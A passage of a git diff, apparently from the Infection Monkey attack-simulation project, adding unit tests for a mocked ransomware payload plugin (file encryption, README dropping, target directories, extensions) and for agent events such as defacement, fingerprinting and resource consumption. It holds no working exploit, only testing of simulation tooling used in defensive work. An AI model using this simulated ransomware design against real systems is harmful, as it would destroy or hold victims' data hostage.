build_ransomware(internal_ransomware_options) # type: ignore [call-arg] + + ransomware.run(threading.Event()) + mock_leave_readme.assert_not_called() + + +def test_leave_readme_exceptions_handled( + build_ransomware: BuildRansomwareCallable, + internal_ransomware_options: InternalRansomwareOptions, +): + leave_readme = MagicMock(side_effect=Exception("Test exception when leaving README")) + internal_ransomware_options.leave_readme = True + ransomware = build_ransomware(config=internal_ransomware_options, leave_readme=leave_readme) # type: ignore [call-arg] # noqa: E501 + + # Test will fail if exception is raised and not handled + ransomware.run(threading.Event()) + + +def test_file_encryption_event_publishing( + agent_event_publisher_spy: IAgentEventPublisher, + ransomware_test_data: Path, + internal_ransomware_options: InternalRansomwareOptions, + build_ransomware: BuildRansomwareCallable, +): + expected_selected_files = [ + ransomware_test_data / ALL_ZEROS_PDF, + ransomware_test_data / HELLO_TXT, + ransomware_test_data / TEST_KEYBOARD_TXT, + ] + mfs = MagicMock(return_value=expected_selected_files) + + build_ransomware(internal_ransomware_options, MagicMock(), mfs).run(threading.Event()) # type: ignore [call-arg] # noqa: E501 + + assert len(agent_event_publisher_spy.events) == 3 + + for event in agent_event_publisher_spy.events: + assert event.__class__ is FileEncryptionEvent + assert event.success + assert event.target is None + + actual_file_paths = [event.file_path for event in agent_event_publisher_spy.events] + assert expected_selected_files == actual_file_paths + + +def test_file_encryption_event_publishing__failed( + agent_event_publisher_spy: IAgentEventPublisher, + ransomware_test_data: Path, + internal_ransomware_options: InternalRansomwareOptions, + build_ransomware: BuildRansomwareCallable, +): + file_not_exists = "/file/not/exist" + mfe = MagicMock( + side_effect=FileNotFoundError(f"[Errno 2] No such file or directory: '{file_not_exists}'") + ) + mfs = MagicMock(return_value=[PurePosixPath(file_not_exists)]) + ransomware = build_ransomware( # type: ignore [call-arg] + config=internal_ransomware_options, file_encryptor=mfe, file_selector=mfs + ) + + ransomware.run(threading.Event()) + + assert len(agent_event_publisher_spy.events) == 1 + + for event in agent_event_publisher_spy.events: + assert event.__class__ is FileEncryptionEvent + assert not event.success + assert event.target is None + assert event.file_path == PurePosixPath(file_not_exists) + + +def test_no_action_if_directory_doesnt_exist( + internal_ransomware_options: InternalRansomwareOptions, + build_ransomware: BuildRansomwareCallable, + mock_file_selector: FileSelectorCallable, + mock_leave_readme: ReadmeDropperCallable, +): + internal_ransomware_options.target_directory = Path("/noexist") + internal_ransomware_options.leave_readme = True + ransomware = build_ransomware(internal_ransomware_options) # type: ignore [call-arg] + + ransomware.run(threading.Event()) + + mock_file_selector.assert_not_called() + mock_leave_readme.assert_not_called() + + +def test_no_action_if_directory_is_file( + tmp_path: Path, + internal_ransomware_options: InternalRansomwareOptions, + build_ransomware: BuildRansomwareCallable, + mock_file_selector: FileSelectorCallable, + mock_leave_readme: ReadmeDropperCallable, +): + target_file = tmp_path / "target_file.txt" + target_file.touch() + assert target_file.exists() + assert target_file.is_file() + + internal_ransomware_options.target_directory = target_file + internal_ransomware_options.leave_readme = True + ransomware = build_ransomware(internal_ransomware_options) # type: ignore [call-arg] + + ransomware.run(threading.Event()) + + mock_file_selector.assert_not_called() + mock_leave_readme.assert_not_called() + + +@pytest.mark.skipif( + os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows" +) +def test_no_action_if_directory_is_symlink( + tmp_path: Path, + internal_ransomware_options: InternalRansomwareOptions, + build_ransomware: BuildRansomwareCallable, + mock_file_selector: FileSelectorCallable, + mock_leave_readme: ReadmeDropperCallable, +): + link_target = tmp_path / "link_target" + link_target.mkdir() + assert link_target.exists() + assert link_target.is_dir() + + link = tmp_path / "link" + link.symlink_to(link_target, target_is_directory=True) + + internal_ransomware_options.target_directory = link + internal_ransomware_options.leave_readme = True + ransomware = build_ransomware(internal_ransomware_options) # type: ignore [call-arg] + + ransomware.run(threading.Event()) + + mock_file_selector.assert_not_called() + mock_leave_readme.assert_not_called() diff --git a/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_ransomware_options.py b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_ransomware_options.py new file mode 100644 index 00000000000..35cfaf24318 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_ransomware_options.py @@ -0,0 +1,65 @@ +import pytest +from agent_plugins.payloads.ransomware.src.ransomware_options import RansomwareOptions + +RANSOMWARE_OPTIONS_DICT = { + "file_extension": ".encrypted", + "linux_target_dir": "/tmp", + "windows_target_dir": "C:/temp/", + "leave_readme": True, +} + +RANSOMWARE_OPTIONS_OBJECT = RansomwareOptions( + file_extension=".encrypted", + linux_target_dir="/tmp", + windows_target_dir="C:/temp/", + leave_readme=True, +) + + +def test_ransomware_options__serialization(): + assert RANSOMWARE_OPTIONS_OBJECT.dict(simplify=True) == RANSOMWARE_OPTIONS_DICT + + +def test_ransomware_options__full_serialization(): + assert ( + RansomwareOptions(**RANSOMWARE_OPTIONS_OBJECT.dict(simplify=True)) + == RANSOMWARE_OPTIONS_OBJECT + ) + + +def test_ransomware_options__deserialization(): + assert RansomwareOptions(**RANSOMWARE_OPTIONS_DICT) == RANSOMWARE_OPTIONS_OBJECT + + +def test_ransomware_options__default(): + ransomware_options = RansomwareOptions() + + assert ransomware_options.file_extension == ".m0nk3y" + assert ransomware_options.linux_target_dir is None + assert ransomware_options.windows_target_dir is None + + +@pytest.mark.parametrize( + "file_extension", + [" ", "..", "123", "xyz", ". .x", "x.", ".x\\y", ".x/", ".x/y", ".?", "!", "/", "~"], +) +def test_ransomware_options__invalid_file_extension(file_extension: str): + with pytest.raises(ValueError): + RansomwareOptions(file_extension=file_extension) + + +@pytest.mark.parametrize( + "windows_target_dir", ["C::", ":/temp", "\\", "...", "~", "/home/user", "-abc", "01234", " "] +) +def test_ransomware_options__invalid_windows_target_dir(windows_target_dir: str): + with pytest.raises(ValueError): + RansomwareOptions(windows_target_dir=windows_target_dir) + + +@pytest.mark.parametrize( + "linux_target_dir", + ["C:\hello", "\\\\", "C::", ":/temp", "\\", "...", "-abc", "01234", " ", "a~b"], # noqa: W605 +) +def test_ransomware_options__invalid_linux_target_dir(linux_target_dir: str): + with pytest.raises(ValueError): + RansomwareOptions(linux_target_dir=linux_target_dir) diff --git a/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_readme_dropper.py b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_readme_dropper.py new file mode 100644 index 00000000000..4760257cad6 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/payloads/ransomware/test_readme_dropper.py @@ -0,0 +1,47 @@ +import filecmp +from pathlib import Path + +import pytest +from agent_plugins.payloads.ransomware.src.readme_dropper import ReadmeDropper +from tests.utils import get_file_sha256_hash + +from common import OperatingSystem + +DEST_FILE = "README.TXT" +EMPTY_FILE_HASH = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" +WINDOWS_README_FILE_HASH = "4231329e0212592178f9d590cdc0cfcf4dc691b135e2cb4fc49227b17d32ca8c" + + +@pytest.fixture(scope="module") +def src_readme(data_for_tests_dir: Path) -> Path: + return data_for_tests_dir / "test_readme.txt" + + +@pytest.fixture +def dest_readme(tmp_path: Path) -> Path: + return tmp_path / DEST_FILE + + +def test_readme_already_exists(src_readme: Path, dest_readme: Path): + readme_dropper = ReadmeDropper(OperatingSystem.LINUX) + dest_readme.touch() + + readme_dropper.leave_readme(src_readme, dest_readme) + + assert get_file_sha256_hash(dest_readme) == EMPTY_FILE_HASH + + +def test_leave_readme_linux(src_readme: Path, dest_readme: Path): + readme_dropper = ReadmeDropper(OperatingSystem.LINUX) + + readme_dropper.leave_readme(src_readme, dest_readme) + + assert filecmp.cmp(src_readme, dest_readme) + + +def test_leave_readme_windows(src_readme: Path, dest_readme: Path): + readme_dropper = ReadmeDropper(OperatingSystem.WINDOWS) + + readme_dropper.leave_readme(src_readme, dest_readme) + + assert get_file_sha256_hash(dest_readme) == WINDOWS_README_FILE_HASH diff --git a/monkey/tests/unit_tests/common/agent_configuration/test_agent_sub_configurations.py b/monkey/tests/unit_tests/common/agent_configuration/test_agent_sub_configurations.py index 9d758f7496e..f9b2e25c3ac 100644 --- a/monkey/tests/unit_tests/common/agent_configuration/test_agent_sub_configurations.py +++ b/monkey/tests/unit_tests/common/agent_configuration/test_agent_sub_configurations.py @@ -37,7 +37,6 @@ def test_sub_config_to_json_schema(): "Exploiter5": {}, "Exploiter4": {"timeout": 30}, "Exploiter2": {}, - "SSHExploiter": {}, "Exploiter3": {}, "Exploiter1": {}, "Exploiter6": {}, diff --git a/monkey/tests/unit_tests/common/agent_events/test_cpu_consumption_event.py b/monkey/tests/unit_tests/common/agent_events/test_cpu_consumption_event.py new file mode 100644 index 00000000000..961f7ee3ddc --- /dev/null +++ b/monkey/tests/unit_tests/common/agent_events/test_cpu_consumption_event.py @@ -0,0 +1,45 @@ +from uuid import UUID + +import pytest + +from common.agent_events import CPUConsumptionEvent + +AGENT_ID = UUID("012e7238-7b81-4108-8c7f-0787bc3f3c10") +TIMESTAMP = 1664371327.4067292 +UTILIZATION = 77 +CPU_NUMBER = 3 + + +def test_constructor(): + event = CPUConsumptionEvent( + source=AGENT_ID, timestamp=TIMESTAMP, utilization=UTILIZATION, cpu_number=CPU_NUMBER + ) + + assert event.source == AGENT_ID + assert event.timestamp == TIMESTAMP + assert event.target is None + assert len(event.tags) == 0 + assert event.utilization == UTILIZATION + assert event.cpu_number == CPU_NUMBER + + +@pytest.mark.parametrize("invalid_utilization", ("not-an-int", -1, -5.0, None)) +def test_invalid_utilization(invalid_utilization): + with pytest.raises((ValueError, TypeError)): + CPUConsumptionEvent( + source=AGENT_ID, + timestamp=TIMESTAMP, + utilization=invalid_utilization, + cpu_number=CPU_NUMBER, + ) + + +@pytest.mark.parametrize("invalid_cpu_number", ("not-an-int", -1, 5.2, None)) +def test_invalid_cpu_number(invalid_cpu_number): + with pytest.raises((ValueError, TypeError)): + CPUConsumptionEvent( + source=AGENT_ID, + timestamp=TIMESTAMP, + utilization=UTILIZATION, + cpu_number=invalid_cpu_number, + ) diff --git a/monkey/tests/unit_tests/common/agent_events/test_defacement_event.py b/monkey/tests/unit_tests/common/agent_events/test_defacement_event.py new file mode 100644 index 00000000000..68562197f8a --- /dev/null +++ b/monkey/tests/unit_tests/common/agent_events/test_defacement_event.py @@ -0,0 +1,92 @@ +from uuid import UUID + +import pytest + +from common.agent_events import DefacementEvent +from common.tags import ( + DEFACEMENT_T1491_TAG, + EXTERNAL_DEFACEMENT_T1491_002_TAG, + INTERNAL_DEFACEMENT_T1491_001_TAG, +) + +AGENT_ID = UUID("012e7238-7b81-4108-8c7f-0787bc3f3c10") +TIMESTAMP = 1664371327.4067292 +TAGS = frozenset( + {DEFACEMENT_T1491_TAG, INTERNAL_DEFACEMENT_T1491_001_TAG, EXTERNAL_DEFACEMENT_T1491_002_TAG} +) +DEFACEMENT_TARGET = DefacementEvent.DefacementTarget.INTERNAL +DESCRIPTION = "Changed desktop wallpaper" + +DEFACEMENT_EVENT = DefacementEvent( + source=AGENT_ID, + timestamp=TIMESTAMP, + tags=TAGS, + defacement_target=DEFACEMENT_TARGET, + description=DESCRIPTION, +) + +DEFACEMENT_OBJECT_DICT = { + "source": AGENT_ID, + "timestamp": TIMESTAMP, + "target": None, + "tags": TAGS, + "defacement_target": DEFACEMENT_TARGET, + "description": DESCRIPTION, +} + +DEFACEMENT_SIMPLE_DICT = { + "source": str(AGENT_ID), + "timestamp": TIMESTAMP, + "target": None, + "tags": list(TAGS), + "defacement_target": "internal", + "description": DESCRIPTION, +} + + +@pytest.mark.parametrize( + "event_dict", + [DEFACEMENT_OBJECT_DICT, DEFACEMENT_SIMPLE_DICT], +) +def test_constructor(event_dict): + assert DefacementEvent(**event_dict) == DEFACEMENT_EVENT + + +def test_constructor__tags_are_frozenset(): + dict_with_tags = DEFACEMENT_SIMPLE_DICT.copy() + dict_with_tags["tags"] = { + "tag-1", + "tag-2", + "tag-3", + } + + assert isinstance(DefacementEvent(**dict_with_tags).tags, frozenset) + + +def test_constructor__extra_fields_forbidden(): + extra_field_dict = DEFACEMENT_SIMPLE_DICT.copy() + extra_field_dict["extra_field"] = 99 # red balloons + + with pytest.raises(ValueError): + DefacementEvent(**extra_field_dict) + + +def test_serialization(): + serialized_event = DEFACEMENT_EVENT.dict(simplify=True) + assert serialized_event == DEFACEMENT_SIMPLE_DICT + + +@pytest.mark.parametrize( + "key, value", + [ + ("defacement_target", None), + ("defacement_target", 1), + ("defacement_target", "invalid"), + ], +) +def test_construct_invalid_field__type_error(key, value): + invalid_type_dict = DEFACEMENT_SIMPLE_DICT.copy() + invalid_type_dict[key] = value + + with pytest.raises(TypeError): + DefacementEvent(**invalid_type_dict) diff --git a/monkey/tests/unit_tests/common/agent_events/test_fingerprinting_event.py b/monkey/tests/unit_tests/common/agent_events/test_fingerprinting_event.py new file mode 100644 index 00000000000..0e8f1d0e556 --- /dev/null +++ b/monkey/tests/unit_tests/common/agent_events/test_fingerprinting_event.py @@ -0,0 +1,76 @@ +from ipaddress import IPv4Address + +from tests.unit_tests.monkey_island.cc.models.test_agent import AGENT_ID + +from common import OperatingSystem +from common.agent_events import FingerprintingEvent +from common.types import AgentID, DiscoveredService, NetworkPort, NetworkProtocol, NetworkService + +OS_VERSION = "Jammy 22.04" + +DISCOVERED_SERVICES = ( + DiscoveredService( + protocol=NetworkProtocol.TCP, port=NetworkPort(22), service=NetworkService.SSH + ), + DiscoveredService( + protocol=NetworkProtocol.TCP, port=NetworkPort(80), service=NetworkService.HTTP + ), + DiscoveredService( + protocol=NetworkProtocol.TCP, port=NetworkPort(443), service=NetworkService.HTTPS + ), + DiscoveredService( + protocol=NetworkProtocol.UDP, port=NetworkPort(800), service=NetworkService.UNKNOWN + ), +) + +FINGERPRINTING_EVENT = FingerprintingEvent( + source=AGENT_ID, + target=IPv4Address("1.1.1.1"), + timestamp=1664371327.4067292, + os=OperatingSystem.LINUX, + os_version=OS_VERSION, + discovered_services=DISCOVERED_SERVICES, +) + +FINGERPRINTING_OBJECT_DICT = { + "source": AgentID("012e7238-7b81-4108-8c7f-0787bc3f3c10"), + "target": IPv4Address("1.1.1.1"), + "timestamp": 1664371327.4067292, + "tags": frozenset(), + "os": OperatingSystem.LINUX, + "os_version": OS_VERSION, + "discovered_services": DISCOVERED_SERVICES, +} + +FINGERPRINTING_SIMPLE_DICT = { + "source": "012e7238-7b81-4108-8c7f-0787bc3f3c10", + "target": "1.1.1.1", + "timestamp": 1664371327.4067292, + "tags": [], + "os": "linux", + "os_version": OS_VERSION, + "discovered_services": [ds.dict(simplify=True) for ds in DISCOVERED_SERVICES], +} + + +def test_constructor(): + assert FingerprintingEvent(**FINGERPRINTING_OBJECT_DICT) == FINGERPRINTING_EVENT + + +def test_from_dict(): + assert FingerprintingEvent(**FINGERPRINTING_SIMPLE_DICT) == FINGERPRINTING_EVENT + + +def test_to_dict(): + fingerprinting_event = FingerprintingEvent(**FINGERPRINTING_OBJECT_DICT) + + assert fingerprinting_event.dict(simplify=True) == FINGERPRINTING_SIMPLE_DICT + + +def test_deserialization_dict(): + original = FINGERPRINTING_EVENT + + serialized_event = original.dict() + deserialized_event = FingerprintingEvent(**serialized_event) + + assert deserialized_event == original diff --git a/monkey/tests/unit_tests/common/agent_events/test_http_request_event.py b/monkey/tests/unit_tests/common/agent_events/test_http_request_event.py new file mode 100644 index 00000000000..94610baf1cd --- /dev/null +++ b/monkey/tests/unit_tests/common/agent_events/test_http_request_event.py @@ -0,0 +1,43 @@ +from http import HTTPMethod +from uuid import UUID + +import pytest + +from common.agent_events import HTTPRequestEvent + +AGENT_ID = UUID("012e7238-7b81-4108-8c7f-0787bc3f3c10") +TIMESTAMP = 1664371327.4067292 +HTTP_URL = "http://www.test.org/RESTFUL/test?filter=my_filter" +HTTPS_URL = "https://www.test.org/RESTFUL/test?filter=my_filter" +METHOD = HTTPMethod.GET + + +@pytest.mark.parametrize("url", (HTTP_URL, HTTPS_URL)) +def test_constructor(url: str): + event = HTTPRequestEvent(source=AGENT_ID, timestamp=TIMESTAMP, method=METHOD, url=url) + + assert event.source == AGENT_ID + assert event.timestamp == TIMESTAMP + assert event.target is None + assert len(event.tags) == 0 + assert event.method == METHOD + assert event.url == url + + +@pytest.mark.parametrize( + "invalid_url", ("www.missing-schema.org", -1, None, "ftp://wrong.schema.org") +) +def test_invalid_url(invalid_url): + with pytest.raises((ValueError, TypeError)): + HTTPRequestEvent( + source=AGENT_ID, + timestamp=TIMESTAMP, + method=METHOD, + url=invalid_url, + ) + + +@pytest.mark.parametrize("invalid_method", ("not-a-method", "POST/GET", None, 999)) +def test_invalid_method(invalid_method): + with pytest.raises((ValueError, TypeError)): + HTTPRequestEvent(source=AGENT_ID, timestamp=TIMESTAMP, method=invalid_method, url=HTTP_URL) diff --git a/monkey/tests/unit_tests/common/agent_events/test_ram_consumption_event.py b/monkey/tests/unit_tests/common/agent_events/test_ram_consumption_event.py new file mode 100644 index 00000000000..dbaa35ac3d7 --- /dev/null +++ b/monkey/tests/unit_tests/common/agent_events/test_ram_consumption_event.py @@ -0,0 +1,45 @@ +from uuid import UUID + +import pytest + +from common.agent_events import RAMConsumptionEvent + +AGENT_ID = UUID("012e7238-7b81-4108-8c7f-0787bc3f3c10") +TIMESTAMP = 1664371327.4067292 +UTILIZATION = 77 +BYTES_CONSUMED = 42 * (1024**3) # 42 Gigabytes + + +def test_constructor(): + event = RAMConsumptionEvent( + source=AGENT_ID, timestamp=TIMESTAMP, utilization=UTILIZATION, bytes=BYTES_CONSUMED + ) + + assert event.source == AGENT_ID + assert event.timestamp == TIMESTAMP + assert event.target is None + assert len(event.tags) == 0 + assert event.utilization == UTILIZATION + assert event.bytes == BYTES_CONSUMED + + +@pytest.mark.parametrize("invalid_utilization", ("not-an-int", -1, -5.0, None)) +def test_invalid_utilization(invalid_utilization): + with pytest.raises((ValueError, TypeError)): + RAMConsumptionEvent( + source=AGENT_ID, + timestamp=TIMESTAMP, + utilization=invalid_utilization, + bytes=BYTES_CONSUMED, + ) + + +@pytest.mark.parametrize("invalid_bytes_consumed", ("not-an-int", -1, 5.2, None)) +def test_invalid_ram_consumption(invalid_bytes_consumed): + with pytest.raises((ValueError, TypeError)): + RAMConsumptionEvent( + source=AGENT_ID, + timestamp=TIMESTAMP, + utilization=UTILIZATION, + bytes=invalid_bytes_consumed, + ) diff --git a/monkey/tests/unit_tests/common/agent_plugins/test_agent_plugin_metadata.py b/monkey/tests/unit_tests/common/agent_plugins/test_agent_plugin_metadata.py new file mode 100644 index 00000000000..d48bc18def9 --- /dev/null +++ b/monkey/tests/unit_tests/common/agent_plugins/test_agent_plugin_metadata.py @@ -0,0 +1,21 @@ +from common.agent_plugins import AgentPluginMetadata, AgentPluginType + +from .test_agent_plugin_repository_index import PAYLOAD_PLUGIN_NAME, PLUGIN_VERSION_1_2_3 + +PLUGIN_VERSION_1_2_3_SERIALIZED = { + "name": PAYLOAD_PLUGIN_NAME, + "plugin_type": AgentPluginType.PAYLOAD.value, + "resource_path": "/tmp", + "sha256": "7ac0f5c62a9bcb81af3e9d67a764d7bbd3cce9af7cd26c211f136400ebe703c4", + "description": "an awesome payload plugin", + "version": "1.2.3", + "safe": True, +} + + +def test_agent_plugin_metadata_serialization(): + assert PLUGIN_VERSION_1_2_3.dict(simplify=True) == PLUGIN_VERSION_1_2_3_SERIALIZED + + +def test_agent_plugin_metadata_deserialization(): + assert AgentPluginMetadata(**PLUGIN_VERSION_1_2_3_SERIALIZED) == PLUGIN_VERSION_1_2_3 diff --git a/monkey/tests/unit_tests/common/agent_plugins/test_agent_plugin_repository_index.py b/monkey/tests/unit_tests/common/agent_plugins/test_agent_plugin_repository_index.py new file mode 100644 index 00000000000..c30ce39eaa9 --- /dev/null +++ b/monkey/tests/unit_tests/common/agent_plugins/test_agent_plugin_repository_index.py @@ -0,0 +1,129 @@ +import random +from enum import Enum +from pathlib import PurePosixPath + +import pytest +from semver import VersionInfo + +from common.agent_plugins import AgentPluginMetadata, AgentPluginRepositoryIndex, AgentPluginType +from common.agent_plugins.agent_plugin_repository_index import ( # type: ignore[attr-defined] + DEVELOPMENT, +) + +PAYLOAD_PLUGIN_NAME = "awesome_payload" + + +def get_plugin_metadata_with_given_version(version: str) -> AgentPluginMetadata: + return AgentPluginMetadata( + name=PAYLOAD_PLUGIN_NAME, + plugin_type=AgentPluginType.PAYLOAD, + resource_path=PurePosixPath("/tmp"), + sha256="7ac0f5c62a9bcb81af3e9d67a764d7bbd3cce9af7cd26c211f136400ebe703c4", + description="an awesome payload plugin", + version=version, + safe=True, + ) + + +PLUGIN_VERSION_1_0_0 = get_plugin_metadata_with_given_version("1.0.0") +PLUGIN_VERSION_1_0_1 = get_plugin_metadata_with_given_version("1.0.1") +PLUGIN_VERSION_1_2_0 = get_plugin_metadata_with_given_version("1.2.0") +PLUGIN_VERSION_1_2_3 = get_plugin_metadata_with_given_version("1.2.3") +PLUGIN_VERSION_2_0_0 = get_plugin_metadata_with_given_version("2.0.0") +PLUGIN_VERSION_3_0_1 = get_plugin_metadata_with_given_version("3.0.1") +PLUGIN_VERSION_3_0_1_SERIALIZED = { + "name": PAYLOAD_PLUGIN_NAME, + "plugin_type": str(AgentPluginType.PAYLOAD), + "resource_path": "/tmp", + "sha256": "7ac0f5c62a9bcb81af3e9d67a764d7bbd3cce9af7cd26c211f136400ebe703c4", + "description": "an awesome payload plugin", + "version": "3.0.1", + "safe": True, +} + +SORTED_PLUGIN_VERSIONS = [ + PLUGIN_VERSION_1_0_0, + PLUGIN_VERSION_1_0_1, + PLUGIN_VERSION_1_2_0, + PLUGIN_VERSION_1_2_3, + PLUGIN_VERSION_2_0_0, + PLUGIN_VERSION_3_0_1, +] + +REPOSITORY_INDEX_PLUGINS = {AgentPluginType.PAYLOAD: {PAYLOAD_PLUGIN_NAME: [PLUGIN_VERSION_3_0_1]}} +REPOSITORY_INDEX_PLUGINS_SERIALIZED = { + str(AgentPluginType.PAYLOAD): {PAYLOAD_PLUGIN_NAME: [PLUGIN_VERSION_3_0_1_SERIALIZED]} +} + + +def get_repository_index_with_given_version(version: str) -> AgentPluginRepositoryIndex: + return AgentPluginRepositoryIndex( + timestamp=123, compatible_infection_monkey_version=version, plugins=REPOSITORY_INDEX_PLUGINS + ) + + +REPOSITORY_INDEX_VERSION_DEVELOPMENT = get_repository_index_with_given_version(DEVELOPMENT) +REPOSITORY_INDEX_VERSION_DEVELOPMENT_SERIALIZED = { + "timestamp": 123, + "compatible_infection_monkey_version": DEVELOPMENT, + "plugins": REPOSITORY_INDEX_PLUGINS_SERIALIZED, +} + + +REPOSITORY_INDEX_VERSION_OBJECT = get_repository_index_with_given_version(VersionInfo(7, 8, 9)) +REPOSITORY_INDEX_VERSION_DICT = get_repository_index_with_given_version("7.8.9") +REPOSITORY_INDEX_VERSION_SERIALIZED = { + "timestamp": 123, + "compatible_infection_monkey_version": "7.8.9", + "plugins": REPOSITORY_INDEX_PLUGINS_SERIALIZED, +} + + +@pytest.mark.parametrize( + "object_,expected_serialization", + [ + (REPOSITORY_INDEX_VERSION_DEVELOPMENT, REPOSITORY_INDEX_VERSION_DEVELOPMENT_SERIALIZED), + (REPOSITORY_INDEX_VERSION_DICT, REPOSITORY_INDEX_VERSION_SERIALIZED), + (REPOSITORY_INDEX_VERSION_OBJECT, REPOSITORY_INDEX_VERSION_SERIALIZED), + ], +) +def test_agent_plugin_repository_index_serialization(object_, expected_serialization): + assert object_.dict(simplify=True) == expected_serialization + + +@pytest.mark.parametrize( + "expected_object,serialized", + [ + (REPOSITORY_INDEX_VERSION_DEVELOPMENT, REPOSITORY_INDEX_VERSION_DEVELOPMENT_SERIALIZED), + (REPOSITORY_INDEX_VERSION_DICT, REPOSITORY_INDEX_VERSION_SERIALIZED), + (REPOSITORY_INDEX_VERSION_OBJECT, REPOSITORY_INDEX_VERSION_SERIALIZED), + ], +) +def test_agent_plugin_repository_index_deserialization(expected_object, serialized): + repository_index = AgentPluginRepositoryIndex(**serialized) + + assert repository_index == expected_object + for agent_plugin_type in repository_index.plugins.keys(): + assert isinstance(agent_plugin_type, Enum) + + +def test_plugins_sorted_by_version(): + UNSORTED_PLUGIN_VERSIONS = SORTED_PLUGIN_VERSIONS.copy() + random.shuffle(UNSORTED_PLUGIN_VERSIONS) # noqa: DUO102 + + assert UNSORTED_PLUGIN_VERSIONS != SORTED_PLUGIN_VERSIONS + + repository_index = AgentPluginRepositoryIndex( + compatible_infection_monkey_version="development", + plugins={ + AgentPluginType.PAYLOAD: {PAYLOAD_PLUGIN_NAME: UNSORTED_PLUGIN_VERSIONS}, + AgentPluginType.EXPLOITER: {}, + AgentPluginType.CREDENTIALS_COLLECTOR: {PAYLOAD_PLUGIN_NAME: [PLUGIN_VERSION_1_0_0]}, + }, + ) + + assert repository_index.plugins == { + AgentPluginType.PAYLOAD: {PAYLOAD_PLUGIN_NAME: SORTED_PLUGIN_VERSIONS}, + AgentPluginType.EXPLOITER: {}, + AgentPluginType.CREDENTIALS_COLLECTOR: {PAYLOAD_PLUGIN_NAME: [PLUGIN_VERSION_1_0_0]}, + } diff --git a/monkey/tests/unit_tests/common/event_queue/test_pypubsub_agent_event_queue.py b/monkey/tests/unit_tests/common/event_queue/test_pypubsub_agent_event_queue.py index 7fd037114fa..43b373985ce 100644 --- a/monkey/tests/unit_tests/common/event_queue/test_pypubsub_agent_event_queue.py +++ b/monkey/tests/unit_tests/common/event_queue/test_pypubsub_agent_event_queue.py @@ -5,25 +5,25 @@ import pytest from pubsub.core import Publisher -from common.agent_events import AbstractAgentEvent +from common.agent_events import AbstractAgentEvent, AgentEventTag from common.event_queue import AgentEventSubscriber, IAgentEventQueue, PyPubSubAgentEventQueue -EVENT_TAG_1 = "event tag 1" -EVENT_TAG_2 = "event tag 2" +EVENT_TAG_1 = "event-tag-1" +EVENT_TAG_2 = "event-tag-2" class FakeEvent1(AbstractAgentEvent): source: UUID = UUID("f811ad00-5a68-4437-bd51-7b5cc1768ad5") target: Union[UUID, IPv4Address, None] = None timestamp: float = 0.0 - tags: FrozenSet = frozenset() + tags: FrozenSet[AgentEventTag] = frozenset() class FakeEvent2(AbstractAgentEvent): source: UUID = UUID("e810ad01-6b67-9446-fc58-9b8d717653f7") target: Union[UUID, IPv4Address, None] = None timestamp: float = 0.0 - tags: FrozenSet = frozenset() + tags: FrozenSet[AgentEventTag] = frozenset() @pytest.fixture diff --git a/monkey/tests/unit_tests/common/test_decorators.py b/monkey/tests/unit_tests/common/test_decorators.py new file mode 100644 index 00000000000..e253b9371f9 --- /dev/null +++ b/monkey/tests/unit_tests/common/test_decorators.py @@ -0,0 +1,43 @@ +import time +from unittest.mock import MagicMock + +from common.decorators import request_cache + +TTL = 10 + + +def test_request_cache(freezer): + @request_cache(TTL) + def make_request(): + return time.perf_counter_ns() + + # t=0 + t1 = make_request() + freezer.tick() # t=1 + t2 = make_request() + + freezer.tick(TTL) # t=TTL+1 + + t3 = make_request() + t4 = make_request() + + assert t1 == t2 + assert t3 != t1 + assert t3 == t4 + + +def test_request_cache__clear_cache(freezer): + @request_cache(TTL) + def make_request(): + return time.perf_counter_ns() + + # t=0 + t1 = make_request() + freezer.tick() + # t=1 -- Time has changed, but timer should not expire + t2 = make_request() + make_request.clear_cache() + t3 = make_request() + + assert t1 == t2 + assert t1 != t3 diff --git a/monkey/tests/unit_tests/common/types/test_file_extension.py b/monkey/tests/unit_tests/common/types/test_file_extension.py new file mode 100644 index 00000000000..d4fc5fb00f8 --- /dev/null +++ b/monkey/tests/unit_tests/common/types/test_file_extension.py @@ -0,0 +1,32 @@ +import pytest + +from common.types import FileExtension + + +@pytest.mark.parametrize( + "invalid_extension", + [ + "testext", + "testext.", + ".te\\stext", + ".testext/", + ".test/ext", + "\\.testext", + "/.testext", + "./testext", + ".\\testext", + "", + ], +) +def test_invalid_file_extension(invalid_extension: str): + with pytest.raises(ValueError): + FileExtension(invalid_extension) + + +@pytest.mark.parametrize( + "valid_extension", [".testext", ".m0nk3y", ".cryptowall", ".st!uff", ".encrypted"] +) +def test_valid_file_extension(valid_extension: str): + fe = FileExtension(valid_extension) + + assert fe == valid_extension diff --git a/monkey/tests/unit_tests/common/types/test_percent.py b/monkey/tests/unit_tests/common/types/test_percent.py new file mode 100644 index 00000000000..72d6b4a5ec8 --- /dev/null +++ b/monkey/tests/unit_tests/common/types/test_percent.py @@ -0,0 +1,53 @@ +import pytest +from pydantic import BaseModel + +from common.types import Percent, PercentLimited + + +class Model(BaseModel): + p: Percent + + +def test_non_negative_percent(): + with pytest.raises(ValueError): + Percent(-1.0) + + +def test_incorrect_type(): + with pytest.raises(ValueError): + Percent("stuff") + + +@pytest.mark.parametrize("input_value", [0.0, 1.0, 99.9, 100.0, 120.5, 50.123, 25]) +def test_valid_percent(input_value: float): + assert Percent(input_value) == input_value # type: ignore [arg-type] + + +@pytest.mark.parametrize( + "input_value,expected_decimal_fraction", + [(0.0, 0.0), (99, 0.99), (51.234, 0.51234), (121.2, 1.212)], +) +def test_as_decimal_fraction(input_value: float, expected_decimal_fraction: float): + assert Model(p=input_value).p.as_decimal_fraction() == expected_decimal_fraction # type: ignore [arg-type] # noqa: E501 + + +class ModelLimited(BaseModel): + p: PercentLimited + + +@pytest.mark.parametrize("input_value", (-1, -0.01, 100.01)) +def test_percent_limited_out_of_range(input_value: float): + with pytest.raises(ValueError): + PercentLimited(input_value) + + +@pytest.mark.parametrize("input_value", [0.0, 1.0, 99.9, 100.0, 50.123, 25]) +def test_valid_percent_limited(input_value: float): + assert PercentLimited(input_value) == input_value # type: ignore [arg-type] + + +@pytest.mark.parametrize( + "input_value,expected_decimal_fraction", [(0.0, 0.0), (99, 0.99), 